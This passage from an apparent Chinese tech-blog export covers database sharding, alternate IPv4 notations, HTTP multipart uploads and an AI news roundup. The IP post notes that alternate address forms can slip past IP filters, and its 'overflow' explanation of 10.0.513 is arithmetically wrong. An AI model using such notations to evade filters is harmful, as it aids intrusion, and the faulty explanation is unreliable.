范围分片。此方法的缺点是可能导致某些分片的数据量不均。\n基于目录的分片：手动选择列，分配分片，并维护一个查找表，以便知道每行数据存储的位置。这种方法灵活性高，但维护成本较大。\n混合分片：结合以上几种方法，根据实际需求灵活选择分片策略。例如，可以先使用哈希分片，然后在某些情况下使用范围分片。\n选择分片方案时，需要考虑业务模型和查询负载的分布。例如，对于 B2B SaaS 公司，按组织划分数据可能更为合理；而对于消费者公司，随机哈希分片可能更有效。\n服务器选择与配置 在确定分片方案后，接下来需要决定使用多少台服务器来存储数据。这个决策取决于预算、未来数据库负载的预测以及云服务提供商的选择。\n一种常见的方法是最大化灵活性。可以从少量服务器开始，随着需求的增加逐步扩展。在添加新服务器时，需要重新平衡分片，以确保数据均匀分布。\n服务器配置 在配置服务器时，需要考虑以下几个方面：\n硬件配置：选择合适的 CPU、内存和存储设备，以满足预期的负载需求。高性能的 SSD 存储可以显著提高数据库的读写速度。\n网络带宽：确保服务器之间的网络连接速度足够快，以减少数据传输的延迟。\n备份与恢复：设计合理的备份策略，以防止数据丢失。可以使用定期备份和增量备份相结合的方法。\n监控与报警：配置监控工具，实时监测数据库的性能指标，如 CPU 使用率、内存使用情况和磁盘 I/O 等。一旦出现异常情况，及时报警并采取措施。\n路由分片查询 当数据分布在多个数据库中时，如何让应用程序知道查询哪个数据库呢？这需要构建一个路由层。通常，这种逻辑是在应用程序层实现的。\n例如，可以通过以下伪代码实现路由逻辑：\n1def route_query(data): 2 if data.sharding_key in database_1.sharding_keys: 3 return connect_to_database_1() 4 elif data.sharding_key in database_2.sharding_keys: 5 return connect_to_database_2() 6 else: 7 raise Exception(\u0026#34;Data not found in any database\u0026#34;) 这种逻辑可以相对简单地存储在配置文件或数据库的查找表中。重要的是要确保应用程序能够根据数据的分片键找到相应的数据库。\n迁移到分片解决方案 在完成上述步骤并确保服务器正常运行后，接下来面临的挑战是如何在最小的停机时间内进行迁移。迁移到分片架构通常比迁移到单一新数据库提供商复杂得多，因为可能出现多种问题。\n迁移步骤 Notion 的工程团队提出了一种有效的迁移框架，具体步骤包括：\n双写：将新数据同时写入旧数据库和新数据库。这一过程可以在一定时间内并行进行，以确保新旧数据的一致性。\n回填：在开始双写后，将旧数据迁移到新数据库。这一过程可能需要根据数据量的大小分批进行，以避免对系统性能的影响。\n验证：确保新数据库中的数据完整性。可以通过对比新旧数据库的数据记录，确保没有遗漏或错误。\n切换：实际切换到新数据库，可以逐步进行，例如先进行双读，再迁移所有读取操作。切换后，监控新数据库的性能，确保其正常运行。\n分片框架与工具 尽管许多团队会从头开始构建分片架构，但也有一些成熟的工具可以帮助实现分片。\nVitess：最初为 YouTube 开发的 Vitess，现已成为一个开源项目，提供了 MySQL 的分片解决方案，并支持连接池、动态重新分片和监控工具等功能。Vitess 通过将数据分片到多个 MySQL 实例中，解决了大规模数据存储的问题。\nCitus：为 Postgres 提供分片支持的开源扩展，能够在单节点或多个节点上运行，适合需要分片的 Postgres 用户。Citus 允许用户将 Postgres 数据库水平扩展，并提供了查询路由和分片管理的功能。\n无服务器数据库：近年来，许多“无服务器”数据库逐渐兴起，例如 CockroachDB 和 Google Cloud Spanner，这些数据库本身内置了分片功能，简化了开发者的工作。这些数据库能够自动处理数据分片和负载均衡，极大地降低了运维成本。\n分片的挑战与解决方案 尽管数据库分片能够带来许多好处，但在实施过程中也面临一些挑战。以下是一些常见的挑战及其解决方案：\n数据不均衡：在某些情况下，数据可能会在分片之间分布不均，导致某些分片的负载过重。解决方案是定期监测数据分布情况，并根据需要进行重新分片。\n复杂的查询：当查询涉及多个分片时，可能会导致复杂的查询逻辑。解决方案是优化查询，尽量减少跨分片的操作，或者在应用层实现聚合逻辑。\n故障恢复：在分片架构中，单个分片的故障可能影响整体系统的可用性。解决方案是实现高可用性架构，例如使用主从复制或分布式一致性协议。\n运维成本：管理多个分片可能增加运维成本。解决方案是使用自动化工具来简化运维流程，例如使用监控工具和自动化备份工具。\n未来发展趋势 随着技术的不断进步，数据库分片的概念和实现也在不断演化。以下是一些未来的发展趋势：\n智能分片：未来的数据库系统可能会采用机器学习算法，根据实时数据访问模式自动调整分片策略，以实现更高的性能和可扩展性。\n多模型数据库：随着对多样化数据存储需求的增加，未来的数据库可能会支持多种数据模型（如关系型、文档型、图形型等），并能够在同一系统中实现分片。\n云原生数据库：随着云计算的普及，越来越多的数据库将采用云原生架构，自动处理分片、负载均衡和故障恢复等任务，降低开发者的运维负担。\n边缘计算与分片：随着物联网和边缘计算的发展，未来的数据库可能会在边缘设备上实现分片，以降低延迟并提高数据处理效率。\n结论 数据库分片是一种强大的技术，可以帮助企业在面对大规模数据和高并发请求时提升性能和可扩展性。通过合理选择分片方案、配置服务器、构建路由层以及规划迁移策略，企业可以有效地实现数据库的分片架构。随着技术的不断发展，分片工具和框架也在不断成熟，未来将为更多企业提供便利。在实施分片时，企业应根据自身业务需求和数据特点，灵活选择合适的分片策略，以确保系统的高效运行。\n通过本文的深入探讨，希望读者能够全面理解数据库分片的概念和实现方法，并在实际应用中有效应用这一技术，提升数据库的性能和可扩展性。无论是初创企业还是大型企业，合理的数据库分片策略都将为其业务发展提供强有力的支持。\n","date":"2024-08-30T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-30-shu-ju-ku-fen-pian-shi-shen-me-ru-he-yun-zuo/cover.jpg","permalink":"/p/2024-08-30-shu-ju-ku-fen-pian-shi-shen-me-ru-he-yun-zuo/","title":"数据库分片：是什么？如何运作？"},{"content":"当我们提及 IP 地址，大多数人首先想到的是那种我们习以为常的形式：如 127.0.0.1、10.0.2.1 等。这些由数字和点组成的串，在日复一日的使用中，或许已经变得有些单调乏味。但你是否知道，IP 地址并非只能以这种方式呈现？事实上，它拥有多种书写方式，这些不同的形式不仅可以为我们带来乐趣，更能在某些特定场合发挥出意想不到的作用。\n一、IP 地址的常规书写与潜在变化\n在大多数情况下，我们使用的 IP 地址都是点分十进制格式，即由四个 0-255 之间的数字组成，数字之间用点号分隔。这种格式简单明了，易于理解和记忆。然而，这种常规的书写方式背后，其实隐藏着一些不为人知的秘密。\n二、零的可选性\n首先，让我们来看一个有趣的例子。\n在 Linux 系统中，输入ping 0，你会发现它实际上被解析为127.0.0.1。\n1$ ping 0 2PING 0 (127.0.0.1) 56(84) bytes of data. 364 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms 464 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.037 ms 但在 Mac 系统中，同样的命令却会返回一个错误，提示无法找到目标主机。\n1$ ping 0 2PING 0 (0.0.0.0): 56 data bytes 3ping: sendto: No route to host 这是因为，在不同的操作系统中，对于 IP 地址中零的处理方式可能存在差异。\n再来看另一个例子：ping 127.1。这个命令在大多数系统中会被解析为127.0.0.1，系统会自动在数字前补零。\n1$ ping 127.1 2PING 127.1 (127.0.0.1): 56 data bytes 364 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.033 ms 464 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.085 ms 但请注意，这并不意味着计算机可以随意猜测并填充零。例如，ping 10.50.1会被解析为10.50.0.1，而不是10.50.1.0或其他形式。\n1$ ping 10.50.1 2PING 10.50.1 (10.50.0.1): 56 data bytes 3Request timeout for icmp_seq 0 这是因为 IP 地址的结构是固定的，每个部分都有其特定的含义和范围。\n三、IP 地址的“溢出”技巧\n除了零的可选性外，我们还可以利用 IP 地址的“溢出”特性来玩一些小把戏。例如，ping 10.0.513这个命令，在大多数系统中会被解析为10.0.2.1。这是因为 IP 地址的每个部分都是一个 8 位的二进制数，最大值为 255。当超过这个值时，它会自动“溢出”并从零开始重新计数。在这个例子中，513 被解析为 2x256+1，即 257，但由于 IP 地址每部分的取值范围是 0-255，所以它实际上被解析为 2，再加上前面的 10.0.0，就得到了 10.0.2.1。\n1$ ping 10.0.513 2PING 10.0.513 (10.0.2.1): 56 data bytes 364 bytes from 10.0.2.1: icmp_seq=0 ttl=61 time=10.189 ms 464 bytes from 10.0.2.1: icmp_seq=1 ttl=61 time=58.119 ms 这种“溢出”技巧不仅可以用于娱乐和恶作剧，还可以在某些特定场合发挥出实际作用。例如，在网络安全领域，攻击者可能会利用这种技巧来绕过一些基于 IP 地址的过滤和限制。\n四、十进制、十六进制与八进制的 IP 表示\n除了我们常见的点分十进制格式外，IP 地址还可以用其他进制来表示。例如，我们可以使用十进制数来表示一个 IP 地址。\n1$ ping 167772673 2PING 167772673 (10.0.2.1): 56 data bytes 364 bytes from 10.0.2.1: icmp_seq=0 ttl=61 time=15.441 ms 464 bytes from 10.0.2.1: icmp_seq=1 ttl=61 time=4.627 ms 如上文提到的ping 167772673，这个十进制数实际上就是10.0.2.1的另一种表现形式。这种表示方法在某些编程和网络调试场景中可能会更加方便。\n具体来说：167772673 在十进制下转换为二进制是 00001010000000000000001000000001\n这个二进制数可以按照每 8 位一组分割为：\n00001010 00000000 00000010 00000001 分别转换为十进制数为：\n10 0 2 1 同样地，十六进制也是 IP 地址的一种常见表示方式。例如，ping 0xA000201这个命令中的0xA000201就是一个十六进制数，它同样表示的是10.0.2.1。在计算机科学中，十六进制是一种常用的表示方式，因为它可以更紧凑地表示较大的数字，并且与二进制之间的转换相对简单。\n1$ ping 0xA000201 2PING 0xA000201 (10.0.2.1): 56 data bytes 364 bytes from 10.0.2.1: icmp_seq=0 ttl=61 time=7.329 ms 464 bytes from 10.0.2.1: icmp_seq=1 ttl=61 time=18.350 ms 此外，我们还可以使用八进制来表示 IP 地址。虽然这种方式在实际应用中相对较少见，但它同样具有一定的理论和实际意义。例如，ping 10.0.2.010这个命令中的.010实际上就是八进制数 8，所以这个命令最终会被解析为10.0.2.8。\n1$ ping 10.0.2.010 2PING 10.0.2.010 (10.0.2.8): 56 data bytes 五、使用 Sipcalc 工具进行 IP 地址转换\n对于需要进行大量 IP 地址转换的场景，我们可以借助一些工具来简化操作。其中，sipcalc （https://github.com/sii/sipcalc）就是一个非常实用的命令行 IP 地址计算器。它可以方便地进行十进制、十六进制等不同进制之间的转换，并且提供了丰富的输出格式和选项。\n使用sipcalc工具，我们可以轻松地将一个 IP 地址从一种格式转换为另一种格式。例如，要将十进制数167772673转换为点分十进制格式，我们可以输入相应的命令并得到结果10.0.2.1。同样地，我们也可以将一个点分十进制格式的 IP 地址转换为其他进制表示形式。\n六、IP 地址书写方式的多样性与应用场景\n除了上述提到的几种 IP 地址书写方式外，还有一些其他不太常见但同样有趣的表示方法。这些方法或许在日常使用中并不常见，但在某些特定场合却能发挥出意想不到的作用。\n例如，在网络安全领域，攻击者可能会利用 IP 地址的不同书写方式来绕过一些基于规则的过滤和检测系统。他们可能会使用一些特殊格式的 IP 地址来隐藏真实的攻击目标或规避安全策略。\n此外，在网络编程和调试过程中，灵活运用 IP 地址的不同书写方式也可以为我们带来便利。例如，在编写网络应用程序时，我们可能需要根据不同的需求和环境选择最合适的 IP 地址表示形式。\n七、如何防范 IP 地址欺骗与攻击\n虽然 IP 地址的不同书写方式为我们带来了乐趣和便利，但与此同时也带来了一定的安全风险。特别是当攻击者利用这些技巧进行 IP 地址欺骗和攻击时，后果将不堪设想。\n为了防范这些潜在的安全威胁，我们可以采取以下措施：\n使用防火墙和安全策略：配置防火墙和安全策略来限制对特定 IP 地址或 IP 地址范围的访问。这样可以有效防止未经授权的访问和攻击。\n验证 IP 地址来源：在进行网络通信和数据交换时，务必验证对方的 IP 地址来源和真实性。不要轻易相信来自未知或可疑来源的 IP 地址信息。\n定期更新系统和软件：及时更新操作系统、应用程序和安全补丁以修复可能存在的安全漏洞。这样可以降低被攻击的风险并提高系统的安全性。\n加强网络安全培训：提高员工和用户的网络安全意识培训，让他们了解常见的网络攻击手段和防范措施。这样可以形成一道坚实的网络安全防线。\n八、结语\n通过本文的介绍和分析，我们可以看到 IP 地址并非只能以常规的点分十进制格式呈现。除了这种常见形式外，它还可以用其他多种方式来表示和书写。这些不同的书写方式不仅为我们带来了乐趣和便利，更在某些特定场合发挥出意想不到的作用。\n然而，与此同时我们也需要注意防范这些不同书写方式可能带来的安全风险。通过采取适当的安全措施和策略，我们可以有效降低潜在的安全威胁并保障网络安全。\n最后，希望这篇文章能为你带来一些新的启示和思考。如果你对 IP 地址或其他网络安全话题感兴趣，欢迎继续关注和探索更多有趣的内容！\n","date":"2024-08-30T02:36:04Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-30-ip-di-zhi-de-duo-zhong-shu-xie-fang-shi/cover.jpg","permalink":"/p/2024-08-30-ip-di-zhi-de-duo-zhong-shu-xie-fang-shi/","title":"IP地址的多种书写方式"},{"content":"HTTP Multipart 介绍 在日常的网络编程和数据传输中，我们经常会遇到“multipart”或“form-encoded data”这样的术语。尽管这些术语在我日常工作中随处可见，但我却从未真正深入理解或使用过它们，因为 HTTP 库已经为我处理好了这些细节。然而，最近由于在工作中的需求，我不得不深入研究 multipart 的工作原理。我发现，正确地使用 multipart 可以显著提高文件上传的速度并减少内存消耗。接下来，我将详细解释 multipart 的工作原理，希望能帮助你在 HTTP 服务器/客户端中节省时间和内存。\n一、什么是 MIME 类型？ 在深入探讨 multipart 之前，我们需要先了解什么是 MIME 类型。MIME（Multipurpose Internet Mail Extensions）是一种标准，用于描述文档的性质和格式。简单来说，MIME 类型就是文件的“身份证”，它告诉计算机这个文件是什么类型的，应该用什么样的程序来打开。例如，常见的 MIME 类型有text/plain（纯文本）、image/jpeg（JPEG 图片）和application/pdf（PDF 文档）等。\n二、为什么需要使用 Multipart？ 在 multipart 出现之前，上传文件的标准是application/x-www-form-urlencoded。这种方式要求客户端在上传文件之前对其进行 URL 编码。如果文件主要是 ASCII 文本，URL 编码是高效的；但如果文件主要是二进制数据，那么几乎每个字节都需要进行 URL 转义，这会非常低效。\n如果你想上传多个文件而不进行编码，你可以发送多个 HTTP 请求。但这样做的延迟会比在一个请求中发送所有文件更高。为了解决这个问题，1998 年的 RFC 2388 提出了一个新的标准——“multipart/form-data”。这个标准允许你在一个 HTTP 正文中发送多个文件，而无需对它们进行编码。无需编码意味着你可以节省大量的 CPU 周期，并保持总体正文大小较小。\n这个协议最初是为从 HTML 表单上传文件而设计的，因此得名。但实际上，你可以使用它从任何你想要的地方上传文件——规范中没有任何部分要求\u0026lt;form\u0026gt;或任何 HTML。你可以使用它从任何 HTTP 客户端向任何 HTTP 服务器上传文件。\n当你上传文件时，如果你把文件打包成一个 JSON 对象，服务器需要先接收整个 JSON 对象，然后才能开始处理。这样会占用更多内存，而且要等所有文件都上传完毕才能开始处理。\n1import json 2import requests 3 4# 读取多个文件内容 5files = [\u0026#39;file1.txt\u0026#39;, \u0026#39;file2.txt\u0026#39;, \u0026#39;file3.txt\u0026#39;] 6file_contents = {} 7 8for file_name in files: 9 with open(file_name, \u0026#39;r\u0026#39;) as file: 10 file_contents[file_name] = file.read() 11 12# 将文件内容打包成 JSON 对象 13data = { 14 \u0026#39;files\u0026#39;: file_contents 15} 16 17# 将 JSON 对象转换为字符串 18json_data = json.dumps(data) 19 20# 上传 JSON 对象到服务器 21response = requests.post(\u0026#39;http://example.com/upload\u0026#39;, data=json_data, headers={\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}) 22 23print(response.status_code) JSON 格式不支持直接在数据结构中嵌入二进制数据（如图片、视频文件等）。由于 JSON 不能直接包含二进制数据，所以如果你想要通过 JSON 格式来上传一个图片或视频文件，你就需要将这个二进制文件转换成一种可以被 JSON 处理的格式。Base64 就是这样一种格式。\n如果你使用 multipart 格式上传，服务器可以一个接一个地接收文件，就像流水一样。这意味着服务器可以更早开始处理第一个文件，而不需要等待其他文件，这样更节省内存，速度也更快。\n1\u0026lt;!DOCTYPE html\u0026gt; 2\u0026lt;html\u0026gt; 3\u0026lt;head\u0026gt; 4 \u0026lt;title\u0026gt;Multipart Upload Example\u0026lt;/title\u0026gt; 5\u0026lt;/head\u0026gt; 6\u0026lt;body\u0026gt; 7 \u0026lt;form action=\u0026#34;/upload\u0026#34; method=\u0026#34;post\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34;\u0026gt; 8 \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;file1\u0026#34; multiple\u0026gt; 9 \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;file2\u0026#34; multiple\u0026gt; 10 \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Upload\u0026#34;\u0026gt; 11 \u0026lt;/form\u0026gt; 12\u0026lt;/body\u0026gt; 13\u0026lt;/html\u0026gt; 14 15from flask import Flask, request 16 17app = Flask(__name__) 18 19@app.route(\u0026#39;/upload\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) 20def upload_files(): 21 # 获取名为 file1 和 file2 的文件 22 file1 = request.files.get(\u0026#39;file1\u0026#39;) 23 file2 = request.files.get(\u0026#39;file2\u0026#39;) 24 25 if file1: 26 # 处理 file1 27 process_file(file1) 28 29 if file2: 30 # 处理 file2 31 process_file(file2) 32 33 return \u0026#34;Files processed successfully!\u0026#34; 34 35def process_file(file): 36 # 这里是处理文件的地方 37 # 可以将文件保存到磁盘或其他操作 38 file.save(file.filename) 39 40if __name__ == \u0026#39;__main__\u0026#39;: 41 app.run(debug=True) 三、Multipart 是什么？ MIME 类型分为两类：离散型和多部分型。离散型包含一个文档，例如application/（二进制）、image/、text/等。多部分型是包含多个部分的文档，这些部分可以有自己的 MIME 类型。有两种多部分类型：message/和multipart/——是的，有点让人困惑，multipart 既可以是一种类型，也可以是一个类别。message/类型基本上不再用于任何东西了，但multipart/仍然非常重要。你经常看到multipart/form-data用于通过 HTML 表单从 Web 浏览器发送文件到服务器。multipart 中的“part”指的是一个文档。这个类型本可以叫做multidocument！\n需要注意的是，它并不一定要包含多个文件。它可以只包含一个文件，使用 multipart 进行高效的二进制编码。\n四、Multipart 是如何实现的？ 如果内容类型是multipart/form-data，那么 HTTP 正文中包含多个部分（即文档）。每个部分由一个“边界分隔符”分隔。根 HTTP 消息有一个头部定义了边界分隔符，以便服务器知道每个部分之间的边界在哪里。每个部分也有一些头部：\nContent-Disposition头部定义了每个部分的文件名或包含它的表单字段的名称（仅当你使用实际的 HTML 表单元素时才相关）。 Content-Type头部定义了每个部分的文件类型（技术上是它们的 MIME 类型，但这两者大致相当）。它默认为text/plain。非结构化二进制数据应使用application/octet-stream，但如果你知道类型，你应该使用例如application/zip、application/pdf等。 其他头部不能使用！根据 RFC 7578 的说法：“multipart/form-data媒体类型不支持除Content-Type、Content-Disposition和（在有限情况下）Content-Transfer-Encoding之外的任何 MIME 头部字段。其他头部字段不得包含且必须被忽略。”\n以下是一个来自 Stack Overflow 的实际示例，展示了 HTTP 正文的样子。这个正文是一个包含 3 个 GIF 的多部分。\n1POST /cgi-bin/qtest HTTP/1.1 2Content-Type: multipart/form-data; boundary=2a8ae6ad-f4ad-4d9a-a92c-6d217011fe0f 3Content-Length: 514 4 5--2a8ae6ad-f4ad-4d9a-a92c-6d217011fe0f 6Content-Disposition: form-data; name=\u0026#34;datafile1\u0026#34;; filename=\u0026#34;r.gif\u0026#34; 7Content-Type: image/gif 8GIF87a.D..; 9--2a8ae6ad-f4ad-4d9a-a92c-6d217011fe0f 10Content-Disposition: form-data; name=\u0026#34;datafile2\u0026#34;; filename=\u0026#34;g.gif\u0026#34; 11Content-Type: image/gif 12GIF87a.D..; 13--2a8ae6ad-f4ad-4d9a-a92c-6d217011fe0f 14Content-Disposition: form-data; name=\u0026#34;datafile3\u0026#34;; filename=\u0026#34;b.gif\u0026#34; 15Content-Type: image/gif 16GIF87a.D..; 17--2a8ae6ad-f4ad-4d9a-a92c-6d217011fe0f-- 五、压缩 你可以对整个 Multipart 响应进行 gzip 压缩，但不能选择性地压缩特定部分。这是因为根 HTTP 正文定义了整个消息的压缩头部，包括 multipart 正文中的所有部分。因此，客户端无法告诉服务器“这个特定部分是压缩的，但那个不是”。\n如上所述，multipart 的文档中只允许使用 3 个特定的 HTTP 头部——而压缩头部不是其中之一。\n六、为什么这很有趣？ 所以，“multipart”或“form-encoded data”是一种包含多个文件的 MIME 类型。每个文件都有自己的 MIME 类型和名称。从历史上看，这比上传多个文件的其他方式是一个很大的改进，因为它可以发送原始二进制文件而无需额外的编码或转义。\n在我写这篇博客文章之前，我觉得 multipart 有点无聊。它似乎有点过时和落后——我的意思是，它是在 HTML 表单是 Web 技术的前沿时编写的。自从它的 RFC 首次发布以来已经有 25 年了。我们肯定有更好的上传文件的方法了！\n但实际上，这在抽象意义上是相当有趣的。它试图有效地组合多个文件上传，而“我们如何将许多文件组合在一起”的问题在计算机科学中总是一个有趣的问题。我喜欢 JSON 的原因之一是它很容易组合。如果每个文件上传是一个 JSON 正文，那么组合它们是微不足道的：只需将 n 个单独的 JSON 正文组合成一个包含 n 个字段的大正文。\n但这性能不佳：你必须将文件内容 base64 编码，因为 JSON 只能处理文本，不能处理二进制；服务器必须将整个 JSON 正文缓冲到 RAM 中才能解码。\n我认为multipart/form-data是试图有效地组合多个文件上传的一种尝试。这种权衡带来了一些复杂性，比如边界和内容处置。我想知道现代解决这个问题的方案会是什么样子。\n显然，multipart/form-data已经足够好了，因为它到处都在使用。但如果你知道任何解决这个问题的替代方案，请在评论中告诉我！\n七、总结 通过本文的介绍，我们可以看到 multipart 在文件上传中的重要性和优势。它不仅提高了文件上传的效率，还减少了内存消耗。尽管 multipart 的设计初衷是为了处理 HTML 表单中的文件上传，但它的应用范围远不止于此。无论是 Rust 还是其他编程语言，都可以利用 multipart 来实现高效、稳定的文件传输。\n在实际应用中，我们可以通过选择合适的库和框架来简化 multipart 的处理过程。例如，在 Rust 中，我们可以使用 axum 或 reqwest 等库来轻松处理 multipart 请求。这些库提供了丰富的功能和良好的性能，可以帮助我们快速构建高效、可靠的文件上传功能。\n此外，了解 multipart 的工作原理也有助于我们更好地优化和调整文件上传的策略。例如，我们可以通过调整边界分隔符的选择、优化 Content-Disposition 和 Content-Type 头部的设置等方式来提高文件上传的效率和稳定性。\n最后，虽然 multipart 已经存在了很长时间，但它仍然是一个值得深入研究和探讨的话题。随着网络技术的不断发展和进步，我们可能会遇到更多新的挑战和需求。因此，持续学习和探索新的技术和方法是非常重要的。\n希望本文能为你提供一些关于 multipart 的有价值的信息和启发。如果你有任何疑问或建议，请随时在评论区留言交流。\n","date":"2024-08-29T09:11:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-29-tan-suo-multipart-wen-jian-chuan-shu-de-xin-jing-jie/cover.jpg","permalink":"/p/2024-08-29-tan-suo-multipart-wen-jian-chuan-shu-de-xin-jing-jie/","title":"探索 multipart：文件传输的新境界！"},{"content":"在人工智能（AI）领域，每周都有令人瞩目的新进展。上周，X 公司推出了两款备受瞩目的 AI 模型——Grok-2 和 Grok-2 mini，并且集成了 Black Forest Labs 的 FLUX.1 技术，使用户能够生成各种图像。与此同时，谷歌也为其 AI 助手 Gemini 引入了实时语音聊天模式 Gemini Live，提升了用户体验。然而，在 AI 技术的快速发展背后，版权争议也日益凸显，Midjourney 等公司因此面临法律诉讼。此外，还有多项 AI 创新成果发布，如“AI 科学家”系统、AI 生成搜索摘要的新方式等，展现了 AI 在不同领域的应用潜力。\n一、X 公司推出 Grok 2 与 Flux 图像生成\n近日，埃隆·马斯克旗下的 X 公司宣布推出 Grok-2 和 Grok-2 mini 两款 AI 模型的测试版。这两款模型均具备在 X 社交网络上生成图像的能力，但目前的访问权限仅限于 Premium 和 Premium+用户。据悉，X 公司计划在本月晚些时候通过其企业 API 向开发者开放这两款模型。\nGrok-2 和 Grok-2 mini 的推出，标志着 X 公司在 AI 图像生成领域迈出了重要一步。这两款模型不仅能够生成高质量的图像，还具备更高的灵活性和自由度。这一特点使得 Grok-2 和 Grok-2 mini 在创意表达和内容创作方面具有巨大潜力。\n除了图像生成能力外，Grok-2 和 Grok-2 mini 还将被应用于 X 公司的 AI 驱动功能中，包括改进搜索功能、帖子分析和回复功能等。这将进一步提升用户在 X 社交网络上的互动体验。\n值得一提的是，Grok-2 和 Grok-2 mini 还集成了 Black Forest Labs 的 FLUX.1 技术。FLUX.1 是一种先进的图像生成技术，能够实现更为精细和逼真的图像效果。通过集成 FLUX.1，Grok-2 和 Grok-2 mini 在图像生成方面的性能得到了进一步提升。\n然而，Grok-2 和 Grok-2 mini 的图像生成能力也引发了一些争议。由于其生成图像的自由度较高，可能会出现一些敏感或不适当的内容。因此，X 公司需要加强对这些模型的监管和管理，确保其生成的图像符合社会道德和法律法规的要求。\n二、谷歌 Gemini 实时聊天模式亮相\n谷歌近日为其 AI 助手 Gemini 引入了一项新功能——Gemini Live。这是一种实时语音聊天模式，目前仅适用于 Gemini Advanced 订阅用户。该功能支持对话式交互，用户可以随时打断 AI 的发言或暂停对话。此外，Gemini Live 还能实时解读视频，并在手机锁定或后台运行时继续工作。\nGemini Live 的推出，为用户提供了更加便捷和自然的交互方式。通过实时语音聊天，用户可以更加轻松地与 Gemini 进行沟通和交流，获取所需的信息和建议。同时，该功能还支持多语言和方言识别，进一步提升了用户体验。\n除了实时语音聊天外，Gemini Live 还具备强大的视频解读能力。它可以实时分析视频内容，提取关键信息，并为用户提供相关的回答和建议。这一功能在教育、娱乐和商业等领域具有广泛的应用前景。\n谷歌表示，Gemini Live 目前已在 Android 设备上推出英语版本，并计划在未来几周内扩展到 iOS 和其他语言。此外，Gemini 还将获得屏幕上下文感知能力，并为 Keep、Tasks、Utilities 和 YouTube Music 等应用添加新的扩展功能。\n三、Midjourney 面临版权诉讼\n近日，一群艺术家对 AI 公司 Stability 和 Midjourney 提起了版权侵权诉讼。艺术家们指控这些公司在未经许可的情况下，使用包含他们作品的数据集训练 AI 模型，并允许用户复制他们的作品。\n法官威廉·奥里克批准了针对 DeviantArt 和 Runway AI 的版权索赔，以及针对 Midjourney 的版权和商标侵权索赔。然而，法官驳回了关于生成器违反《数字千年版权法》以及 DeviantArt 违反其服务条款的索赔。\n尽管目前案件的结果尚不确定，但随着艺术家们进入发现阶段，要求公司提供相关信息，这场法律纠纷可能会进一步升级。这一事件引发了人们对 AI 生成内容版权问题的广泛关注和讨论。\n四、“AI 科学家”系统助力科研\n由 Sakana AI、FLAIR、牛津大学、不列颠哥伦比亚大学、Vector Institute 和加拿大 CIFAR 的研究人员共同开发的“AI 科学家”系统，旨在自动化整个科学研究过程。该系统利用大型语言模型（LLMs）自动生成研究想法、进行实验并自主撰写科学论文。\n“AI 科学家”系统分为三个阶段：想法生成、实验迭代和论文撰写。每个阶段都利用 AI 工具提高效率和准确性。该系统已经展示了令人鼓舞的结果，生成的研究论文质量达到或超过了顶级机器学习会议的标准，证明了其在加速研究过程中的潜力。\n五、其他 AI 新闻与动态\n谷歌 AI 生成搜索摘要更新：谷歌正在改变 AI 生成搜索摘要显示引用的方式，增加了引用网页的新右侧显示，并尝试将链接附加到摘要文本中。\nOpenAI 推出 SWE-bench Verified：OpenAI 引入 SWE-bench Verified 以改进 AI 模型在软件工程中的性能评估，解决了先前基准测试的局限性，并提供了更准确的 AI 能力衡量标准。\nOpenAI 更新 ChatGPT 模型：根据用户反馈，OpenAI 将 ChatGPT 更新为基于 GPT-4o 模型的新版本。\nAnthropic 推出“Prompt Caching”技术：Anthropic 为其 AI 语言模型引入了“Prompt Caching”技术，旨在降低成本和提高效率，为更多企业提供先进的 AI 能力。\nExists 推出 GenAI 平台：AI 初创公司 Exists 推出了其生成式 AI 平台，使任何人都可以使用文本提示创建 3D 游戏，无需编程技能。\nMidjourney 发布统一 AI 图像编辑器：Midjourney 在网站上发布了新的统一 AI 图像编辑器，集成了多种功能，并引入了虚拟“画笔”工具进行修复。\nMistral 发布 Agent Builder 平台：Mistral 推出了 Agents API 和 La Plateforme Agent Builder，用于创建自定义 AI 代理，服务于非技术用户和开发者。\nLuma 升级 Dream Machine：Luma Labs 的 Dream Machine 已升级至 1.5 版，提供了更好的真实感、运动跟随和提示理解能力。\nElevenLabs 全球发布 Reader 应用：ElevenLabs 的 AI 驱动 Reader 应用现已全球发布，支持 32 种语言，并计划添加离线支持和音频片段分享等功能。\n六、AI 商业动态\n前华为“天才少年”推出仿人机器人：一位前华为“天才少年”推出的 AI 驱动的仿人机器人，旨在与特斯拉的 Optimus 竞争。\n华为计划发布新 AI 芯片：据报道，华为计划发布新 AI 芯片，目标最早于 10 月发货。\nAMD 完成对 Silo AI 团队的收购：AMD CEO Lisa Su 在完成对 Silo AI 团队 6.65 亿美元的收购后，正式欢迎其加入 AMD。\nAMD 收购服务器制造商 ZT Systems：AMD 以 49 亿美元收购服务器制造商 ZT Systems，以加强其 AI 能力并与 Nvidia 竞争。\nSAG-AFTRA 与 Narrativ 达成 AI 数字声音复制协议：SAG-AFTRA 与初创公司 Narrativ 达成了一项开创性的 AI 数字声音复制协议，为该技术的道德使用设定了新标准。\nAnysphere 完成 A 轮融资：AI 驱动的编码助手初创公司 Anysphere 在 A 轮融资中筹集了超过 6000 万美元。没错，就是开发了 Cursor 的那家公司。\nWaymo 加强冬季自动驾驶测试：Waymo 计划在多个寒冷地区加强其自动驾驶车辆的冬季测试。\nWeRide 获得加州无人驾驶测试许可：中国自动驾驶初创公司 WeRide 已获得在加州进行载客无人驾驶汽车测试的许可。\nStability AI 任命新首席技术官：Stability AI 任命 Hanno Basse 为其新任首席技术官。\nAndreessen Horowitz 投资 Story 初创公司：Andreessen Horowitz 领导了对 Story 初创公司的 8000 万美元投资，该公司旨在使用区块链改革知识产权制度。\nProcreate 拒绝集成生成式 AI：Procreate 发誓永远不会将生成式 AI 集成到其产品中。\nCosine 推出 Genie AI 工程师：Cosine 宣布推出其自主的 AI 驱动工程师 Genie，声称其在第三方基准测试 SWE-Bench 